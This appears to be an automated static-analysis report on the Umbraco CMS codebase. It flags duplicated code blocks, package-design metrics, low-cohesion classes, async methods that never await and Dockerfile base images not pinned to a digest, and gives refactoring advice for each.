Members sharing a duplicated core (4 members, 50+ identical tokens) src/Umbraco.Core/DynamicRoot/QuerySteps/FurthestAncestorOrSelfDynamicRootQueryStep.cs:30— src/Umbraco.Core/DynamicRoot/QuerySteps/FurthestAncestorOrSelfDynamicRootQueryStep.cs:30-47 | src/Umbraco.Core/DynamicRoot/QuerySteps/FurthestDescendantOrSelfDynamicRootQueryStep.cs:30-45 | src/Umbraco.Core/DynamicRoot/QuerySteps/NearestAncestorOrSelfDynamicRootQueryStep.cs:30-47 | src/Umbraco.Core/DynamicRoot/QuerySteps/NearestDescendantOrSelfDynamicRootQueryStep.cs:30-45 — These 4 members share a duplicated core: a run of at least 50 identical tokens appears in every one of them. That run is NOT broken out as duplicated-block rows below — it is what admitted this row, and the blocks below cover only the part of it that clears the block floor, so they understate the correspondence. Read the members as one construct written 4 times. The repair is at the members' grain — factor the shared implementation out once and have all of them call it with their differences as parameters or as an injected step, or, where the difference is systematic, generate them from one template. Extracting the individual blocks below is not the same fix: it leaves every body in place and the next edit still has to be made 4 times.
Members sharing a duplicated core (4 members, 50+ identical tokens) src/Umbraco.Core/Services/MemberService.cs:658— src/Umbraco.Core/Services/MemberService.cs:658-685 | src/Umbraco.Core/Services/MemberService.cs:697-724 | src/Umbraco.Core/Services/UserService.cs:389-417 | src/Umbraco.Core/Services/UserService.cs:421-449 — These 4 members share a duplicated core: a run of at least 50 identical tokens appears in every one of them. That run is NOT broken out as duplicated-block rows below — it is what admitted this row, and the blocks below cover only the part of it that clears the block floor, so they understate the correspondence. Read the members as one construct written 4 times. The repair is at the members' grain — factor the shared implementation out once and have all of them call it with their differences as parameters or as an injected step, or, where the difference is systematic, generate them from one template. Extracting the individual blocks below is not the same fix: it leaves every body in place and the next edit still has to be made 4 times.
Members sharing a duplicated core (4 members, 50+ identical tokens) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs:304— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs:304-333 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DataTypeRepository.cs:448-493 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaTypeRepository.cs:125-148 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberTypeRepository.cs:187-221 — These 4 members share a duplicated core: a run of at least 50 identical tokens appears in every one of them. That run is NOT broken out as duplicated-block rows below — it is what admitted this row, and the blocks below cover only the part of it that clears the block floor, so they understate the correspondence. Read the members as one construct written 4 times. The repair is at the members' grain — factor the shared implementation out once and have all of them call it with their differences as parameters or as an injected step, or, where the difference is systematic, generate them from one template. Extracting the individual blocks below is not the same fix: it leaves every body in place and the next edit still has to be made 4 times.
Members sharing a duplicated core (4 members, 50+ identical tokens) src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentMapDefinition.cs:53— src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentMapDefinition.cs:53-67 | src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentVersionMapDefinition.cs:40-54 | src/Umbraco.Cms.Api.Management/Mapping/Element/ElementMapDefinition.cs:41-55 | src/Umbraco.Cms.Api.Management/Mapping/Element/ElementVersionMapDefinition.cs:36-50 — These 4 members share a duplicated core: a run of at least 50 identical tokens appears in every one of them. That run is NOT broken out as duplicated-block rows below — it is what admitted this row, and the blocks below cover only the part of it that clears the block floor, so they understate the correspondence. Read the members as one construct written 4 times. The repair is at the members' grain — factor the shared implementation out once and have all of them call it with their differences as parameters or as an injected step, or, where the difference is systematic, generate them from one template. Extracting the individual blocks below is not the same fix: it leaves every body in place and the next edit still has to be made 4 times.
Duplicated block (29 lines × 2) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:108— src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:108-136 | src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:147-175 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:108` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (29 lines × 2) src/Umbraco.Core/Configuration/Models/MemberPasswordConfigurationSettings.cs:42— src/Umbraco.Core/Configuration/Models/MemberPasswordConfigurationSettings.cs:42-70 | src/Umbraco.Core/Configuration/Models/UserPasswordConfigurationSettings.cs:47-75 — before extracting anything, compare `src/Umbraco.Core/Configuration/Models/MemberPasswordConfigurationSettings.cs` and `src/Umbraco.Core/Configuration/Models/UserPasswordConfigurationSettings.cs` as WHOLE FILES: 92% of the shorter file's lines also appear in the other, so this reads as one file having been copied from the other rather than as a helper waiting to be extracted. The 1 duplicated block(s) this scan matched between them are fragments of that copy, not the extent of it — treat the file pair as the unit. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place.
Duplicated block (29 lines × 2) src/Umbraco.Infrastructure/Security/BackOfficeUserStore.cs:687— src/Umbraco.Infrastructure/Security/BackOfficeUserStore.cs:687-715 | src/Umbraco.Infrastructure/Security/MemberUserStore.cs:746-774 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Note first that the copies are not typed on the same thing: the declarations holding them bind `user` to `BackOfficeIdentityUser` in one and `MemberIdentityUser` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (29 lines × 2) src/Umbraco.Infrastructure/Serialization/JsonDictionaryStringIgnoreCaseConverter.cs:13— src/Umbraco.Infrastructure/Serialization/JsonDictionaryStringIgnoreCaseConverter.cs:13-41 | src/Umbraco.Infrastructure/Serialization/JsonDictionaryStringInternIgnoreCaseConverter.cs:13-41 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Serialization/JsonDictionaryStringIgnoreCaseConverter.cs:13` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (18 lines × 2) src/Umbraco.Core/Services/MemberGroupService.cs:101— src/Umbraco.Core/Services/MemberGroupService.cs:101-118 | src/Umbraco.Core/Services/MemberGroupService.cs:162-179 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/MemberGroupService.cs:101` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (18 lines × 2) src/Umbraco.Core/Services/MemberService.cs:700— src/Umbraco.Core/Services/MemberService.cs:700-717 | src/Umbraco.Core/Services/UserService.cs:424-441 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/MemberService.cs:700` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (18 lines × 2) src/Umbraco.Cms.Api.Management/Controllers/Element/Folder/DeleteElementFolderController.cs:52— src/Umbraco.Cms.Api.Management/Controllers/Element/Folder/DeleteElementFolderController.cs:52-69 | src/Umbraco.Cms.Api.Management/Controllers/Element/RecycleBin/DeleteElementFolderRecycleBinController.cs:66-83 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Controllers/Element/Folder/DeleteElementFolderController.cs:52` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (18 lines × 2) src/Umbraco.Core/Webhooks/Events/User/UserPasswordResetWebhookEvent.cs:28— src/Umbraco.Core/Webhooks/Events/User/UserPasswordResetWebhookEvent.cs:28-45 | src/Umbraco.Core/Webhooks/Events/User/UserUnlockedWebhookEvent.cs:28-45 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once.
Duplicated block (16 lines × 2) src/Umbraco.Core/Cache/FastDictionaryAppCacheBase.cs:125— src/Umbraco.Core/Cache/FastDictionaryAppCacheBase.cs:125-140 | src/Umbraco.Core/Cache/FastDictionaryAppCacheBase.cs:157-172 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Cache/FastDictionaryAppCacheBase.cs:125` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (16 lines × 2) src/Umbraco.Core/Services/PublicAccessService.cs:199— src/Umbraco.Core/Services/PublicAccessService.cs:199-214 | src/Umbraco.Core/Services/PublicAccessService.cs:226-241 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/PublicAccessService.cs:199` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (16 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/FileRepository.cs:263— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/FileRepository.cs:263-278 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/FileRepository.cs:283-298 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/FileRepository.cs:263` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (16 lines × 2) src/Umbraco.PublishedCache.HybridCache/Services/DocumentCacheService.cs:619— src/Umbraco.PublishedCache.HybridCache/Services/DocumentCacheService.cs:619-634 | src/Umbraco.PublishedCache.HybridCache/Services/ElementCacheService.cs:328-343 — before extracting anything, compare `src/Umbraco.PublishedCache.HybridCache/Services/DocumentCacheService.cs` and `src/Umbraco.PublishedCache.HybridCache/Services/ElementCacheService.cs` as WHOLE FILES: this scan already matched 3 separate duplicated blocks between them, totalling at least 60 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.PublishedCache.HybridCache/Services/DocumentCacheService.cs:619` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Off the main sequence: Umbraco.Examine.Lucene — Umbraco.Examine.Lucene: abstractness 0.05, instability 0.13, distance 0.82 — zone of pain — concrete and depended on by 13 project(s), so it's rigid to change.
Off the main sequence: Umbraco.Infrastructure — Umbraco.Infrastructure: abstractness 0.19, instability 0.05, distance 0.76 — zone of pain — concrete and depended on by 21 project(s), so it's rigid to change.
Off the main sequence: Umbraco.Core — Umbraco.Core: abstractness 0.29, instability 0.00, distance 0.71 — zone of pain — concrete and depended on by 23 project(s), so it's rigid to change.
Off the main sequence: Umbraco.PublishedCache.HybridCache — Umbraco.PublishedCache.HybridCache: abstractness 0.17, instability 0.13, distance 0.70 — zone of pain — concrete and depended on by 14 project(s), so it's rigid to change.
Low cohesion: UserPresentationFactory (LCOM4 7) src/Umbraco.Cms.Api.Management/Factories/UserPresentationFactory.cs:29— UserPresentationFactory's methods fall into 7 groups that share no field and call none of each other, against a bar of more than 3 for this run (LCOM4, configurable — your repository's bar is the one quoted here). Each group is a set of methods reachable from one another through shared fields or direct calls, so 7 groups means the type has that many internally-connected clusters with nothing tying them together. Types whose shape makes a high count expected — and which would otherwise dominate this list — are excluded before this row is raised, so this is a genuine split candidate rather than a metric reading. It is still a shape, not a defect: confirm the groups match responsibilities you can name before splitting.
Low cohesion: DbProviderFactoryCreator (LCOM4 5) src/Umbraco.Infrastructure/Persistence/DbProviderFactoryCreator.cs:10— DbProviderFactoryCreator's methods fall into 5 groups that share no field and call none of each other, against a bar of more than 3 for this run (LCOM4, configurable — your repository's bar is the one quoted here). Each group is a set of methods reachable from one another through shared fields or direct calls, so 5 groups means the type has that many internally-connected clusters with nothing tying them together. Types whose shape makes a high count expected — and which would otherwise dominate this list — are excluded before this row is raised, so this is a genuine split candidate rather than a metric reading. It is still a shape, not a defect: confirm the groups match responsibilities you can name before splitting.
Low cohesion: SqlSyntaxProviderBase (LCOM4 5) src/Umbraco.Infrastructure/Persistence/SqlSyntax/SqlSyntaxProviderBase.cs:26— SqlSyntaxProviderBase's methods fall into 5 groups that share no field and call none of each other, against a bar of more than 3 for this run (LCOM4, configurable — your repository's bar is the one quoted here). Each group is a set of methods reachable from one another through shared fields or direct calls, so 5 groups means the type has that many internally-connected clusters with nothing tying them together. Types whose shape makes a high count expected — and which would otherwise dominate this list — are excluded before this row is raised, so this is a genuine split candidate rather than a metric reading. It is still a shape, not a defect: confirm the groups match responsibilities you can name before splitting.
Low cohesion: MemberManager (LCOM4 4) src/Umbraco.Web.Common/Security/MemberManager.cs:18— MemberManager's methods fall into 4 groups that share no field and call none of each other, against a bar of more than 3 for this run (LCOM4, configurable — your repository's bar is the one quoted here). Each group is a set of methods reachable from one another through shared fields or direct calls, so 4 groups means the type has that many internally-connected clusters with nothing tying them together. Types whose shape makes a high count expected — and which would otherwise dominate this list — are excluded before this row is raised, so this is a genuine split candidate rather than a metric reading. It is still a shape, not a defect: confirm the groups match responsibilities you can name before splitting.
Fake-async — async method never awaits src/Umbraco.Cms.Api.Management/Controllers/DocumentType/BatchDocumentTypesController.cs:32— `Batch` is declared `async` but never awaits anything, so it runs synchronously while pretending to be asynchronous. Drop `async` or do the real async work.
Fake-async — async method never awaits src/Umbraco.Cms.Api.Management/Controllers/Install/SettingsInstallController.cs:51— `Settings` is declared `async` but never awaits anything, so it runs synchronously while pretending to be asynchronous. Drop `async` or do the real async work.
Fake-async — async method never awaits src/Umbraco.Cms.Api.Management/Controllers/MediaType/BatchMediaTypesController.cs:32— `Batch` is declared `async` but never awaits anything, so it runs synchronously while pretending to be asynchronous. Drop `async` or do the real async work.
Fake-async — async method never awaits src/Umbraco.Core/Handlers/WarnDocumentTypeElementSwitchNotificationHandler.cs:55— `HandleAsync` is declared `async` but never awaits anything, so it runs synchronously while pretending to be asynchronous. Drop `async` or do the real async work.
Medium IaC: WD-DOCKER-0003 templates/UmbracoDockerCompose/Database/Dockerfile:1— Line 1 builds this stage `FROM mcr.microsoft.com/mssql/server:2022-latest` — a tag, which is a POINTER the image's publisher can move at any time, not the image you tested against. The tag is re-pushed for a rebuild, a backport or a compromise alike, so the same commit produces a different image on a different day and a change nobody here made arrives with no diff to review; a build that reproduces is also the only way to say what is actually running when an advisory lands. Pin the reference to its DIGEST, which is the image's content address and cannot be repointed — `FROM mcr.microsoft.com/mssql/server:2022-latest@sha256:…` — resolve today's with `docker buildx imagetools inspect mcr.microsoft.com/mssql/server:2022-latest --format '{{.Manifest.Digest}}'` (or `docker pull mcr.microsoft.com/mssql/server:2022-latest && docker inspect --format '{{index .RepoDigests 0}}' mcr.microsoft.com/mssql/server:2022-latest`). Keep the tag in front of the digest as documentation: it tells a reader which release this is while the digest decides what is pulled. Bumping it then becomes a deliberate commit a reader — or Dependabot/Renovate, both of which update digest pins — can review, instead of a silent change at the next build. This applies to a build-only stage too: the stage that compiles decides what ends up in the layers you ship.
Medium IaC: WD-DOCKER-0003 templates/UmbracoProject/Dockerfile:1— Line 1 builds this stage `FROM mcr.microsoft.com/dotnet/aspnet:10.0` — a tag, which is a POINTER the image's publisher can move at any time, not the image you tested against. The tag is re-pushed for a rebuild, a backport or a compromise alike, so the same commit produces a different image on a different day and a change nobody here made arrives with no diff to review; a build that reproduces is also the only way to say what is actually running when an advisory lands. Pin the reference to its DIGEST, which is the image's content address and cannot be repointed — `FROM mcr.microsoft.com/dotnet/aspnet:10.0@sha256:…` — resolve today's with `docker buildx imagetools inspect mcr.microsoft.com/dotnet/aspnet:10.0 --format '{{.Manifest.Digest}}'` (or `docker pull mcr.microsoft.com/dotnet/aspnet:10.0 && docker inspect --format '{{index .RepoDigests 0}}' mcr.microsoft.com/dotnet/aspnet:10.0`). Keep the tag in front of the digest as documentation: it tells a reader which release this is while the digest decides what is pulled. Bumping it then becomes a deliberate commit a reader — or Dependabot/Renovate, both of which update digest pins — can review, instead of a silent change at the next build. This applies to a build-only stage too: the stage that compiles decides what ends up in the layers you ship.
Medium IaC: WD-DOCKER-0003 templates/UmbracoProject/Dockerfile:7— Line 7 builds this stage `FROM mcr.microsoft.com/dotnet/sdk:10.0` — a tag, which is a POINTER the image's publisher can move at any time, not the image you tested against. The tag is re-pushed for a rebuild, a backport or a compromise alike, so the same commit produces a different image on a different day and a change nobody here made arrives with no diff to review; a build that reproduces is also the only way to say what is actually running when an advisory lands. Pin the reference to its DIGEST, which is the image's content address and cannot be repointed — `FROM mcr.microsoft.com/dotnet/sdk:10.0@sha256:…` — resolve today's with `docker buildx imagetools inspect mcr.microsoft.com/dotnet/sdk:10.0 --format '{{.Manifest.Digest}}'` (or `docker pull mcr.microsoft.com/dotnet/sdk:10.0 && docker inspect --format '{{index .RepoDigests 0}}' mcr.microsoft.com/dotnet/sdk:10.0`). Keep the tag in front of the digest as documentation: it tells a reader which release this is while the digest decides what is pulled. Bumping it then becomes a deliberate commit a reader — or Dependabot/Renovate, both of which update digest pins — can review, instead of a silent change at the next build. This applies to a build-only stage too: the stage that compiles decides what ends up in the layers you ship.
Duplicated block (31 lines × 2) src/Umbraco.Infrastructure/Cache/DefaultRepositoryCachePolicy.cs:51— src/Umbraco.Infrastructure/Cache/DefaultRepositoryCachePolicy.cs:51-81 | src/Umbraco.Infrastructure/Cache/DefaultRepositoryCachePolicy.cs:86-116 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Cache/DefaultRepositoryCachePolicy.cs:51` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (31 lines × 2) src/Umbraco.Cms.Api.Management/Security/Authorization/Content/ContentPermissionHandler.cs:32— src/Umbraco.Cms.Api.Management/Security/Authorization/Content/ContentPermissionHandler.cs:32-62 | src/Umbraco.Cms.Api.Management/Security/Authorization/Element/ElementPermissionHandler.cs:32-62 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it. Note first that the copies are not typed on the same thing: the declarations holding them bind `resource` to `ContentPermissionResource` in one and `ElementPermissionResource` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (31 lines × 2) src/Umbraco.Web.Website/ViewEngines/PluginRazorViewEngineOptionsSetup.cs:14— src/Umbraco.Web.Website/ViewEngines/PluginRazorViewEngineOptionsSetup.cs:14-49 | src/Umbraco.Web.Website/ViewEngines/RenderRazorViewEngineOptionsSetup.cs:13-43 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Web.Website/ViewEngines/PluginRazorViewEngineOptionsSetup.cs:14` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (28 lines × 2) src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs:393— src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs:393-420 | src/Umbraco.Core/Composing/SetCollectionBuilderBase.cs:182-209 — before extracting anything, compare `src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs` and `src/Umbraco.Core/Composing/SetCollectionBuilderBase.cs` as WHOLE FILES: this scan already matched 7 separate duplicated blocks between them, totalling at least 120 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place.
Duplicated block (28 lines × 2) src/Umbraco.Core/Services/ElementContainerPermissionService.cs:32— src/Umbraco.Core/Services/ElementContainerPermissionService.cs:32-59 | src/Umbraco.Core/Services/ElementPermissionService.cs:36-63 — before extracting anything, compare `src/Umbraco.Core/Services/ElementContainerPermissionService.cs` and `src/Umbraco.Core/Services/ElementPermissionService.cs` as WHOLE FILES: this scan already matched 4 separate duplicated blocks between them, totalling at least 71 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place.
Duplicated block (28 lines × 2) src/Umbraco.Web.Common/Security/MemberSignInManager.cs:107— src/Umbraco.Web.Common/Security/MemberSignInManager.cs:107-134 | src/Umbraco.Web.Common/Security/UmbracoSignInManager.cs:88-115 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Web.Common/Security/MemberSignInManager.cs:107` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately. Note first that the copies are not typed on the same thing: the declarations holding them bind `user` to `MemberIdentityUser` in one and `TUser` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just before the matched lines, `src/Umbraco.Web.Common/Security/MemberSignInManager.cs:106` calls `NullReferenceException` and `src/Umbraco.Web.Common/Security/UmbracoSignInManager.cs:87` does not — after which the two agree again for 3 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
Duplicated block (25 lines × 2) src/Umbraco.Core/IO/IOHelperOSX.cs:21— src/Umbraco.Core/IO/IOHelperOSX.cs:21-45 | src/Umbraco.Core/IO/IOHelperWindows.cs:21-45 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (25 lines × 2) src/Umbraco.Cms.Persistence.SqlServer/Services/SqlServerDistributedLockingMechanism.cs:88— src/Umbraco.Cms.Persistence.SqlServer/Services/SqlServerDistributedLockingMechanism.cs:88-112 | src/Umbraco.Cms.Persistence.Sqlite/Services/SqliteDistributedLockingMechanism.cs:92-116 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Persistence.SqlServer/Services/SqlServerDistributedLockingMechanism.cs:88` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (25 lines × 2) src/Umbraco.Core/Models/CultureImpact.cs:173— src/Umbraco.Core/Models/CultureImpact.cs:173-201 | src/Umbraco.Core/Services/CultureImpactFactory.cs:66-90 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice.
Duplicated block (22 lines × 2) src/Umbraco.Core/Services/ContentEditingService.cs:342— src/Umbraco.Core/Services/ContentEditingService.cs:342-363 | src/Umbraco.Core/Services/ElementEditingService.cs:588-609 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Note first that the copies are not typed on the same thing: the declarations holding them bind `content` to `IContent` in one and `IElement` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (22 lines × 2) src/Umbraco.Core/Services/LocalizedTextService.cs:352— src/Umbraco.Core/Services/LocalizedTextService.cs:352-373 | src/Umbraco.Core/Services/LocalizedTextService.cs:379-400 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited.
Duplicated block (22 lines × 2) src/Umbraco.Cms.Api.Delivery/Caching/DeliveryApiDocumentOutputCacheEvictionHandler.cs:47— src/Umbraco.Cms.Api.Delivery/Caching/DeliveryApiDocumentOutputCacheEvictionHandler.cs:47-68 | src/Umbraco.Web.Website/Caching/WebsiteDocumentOutputCacheEvictionHandler.cs:41-62 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Delivery/Caching/DeliveryApiDocumentOutputCacheEvictionHandler.cs:47` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (12–13 lines × 2) src/Umbraco.Core/Services/TemplateService.cs:84— src/Umbraco.Core/Services/TemplateService.cs:84-95 | src/Umbraco.Core/Services/TemplateService.cs:294-306 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/TemplateService.cs:294` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (12–13 lines × 2) src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1070— src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1070-1082 | src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1768-1779 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited.
Duplicated block (12–13 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:1236— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:1236-1247 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:1313-1325 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
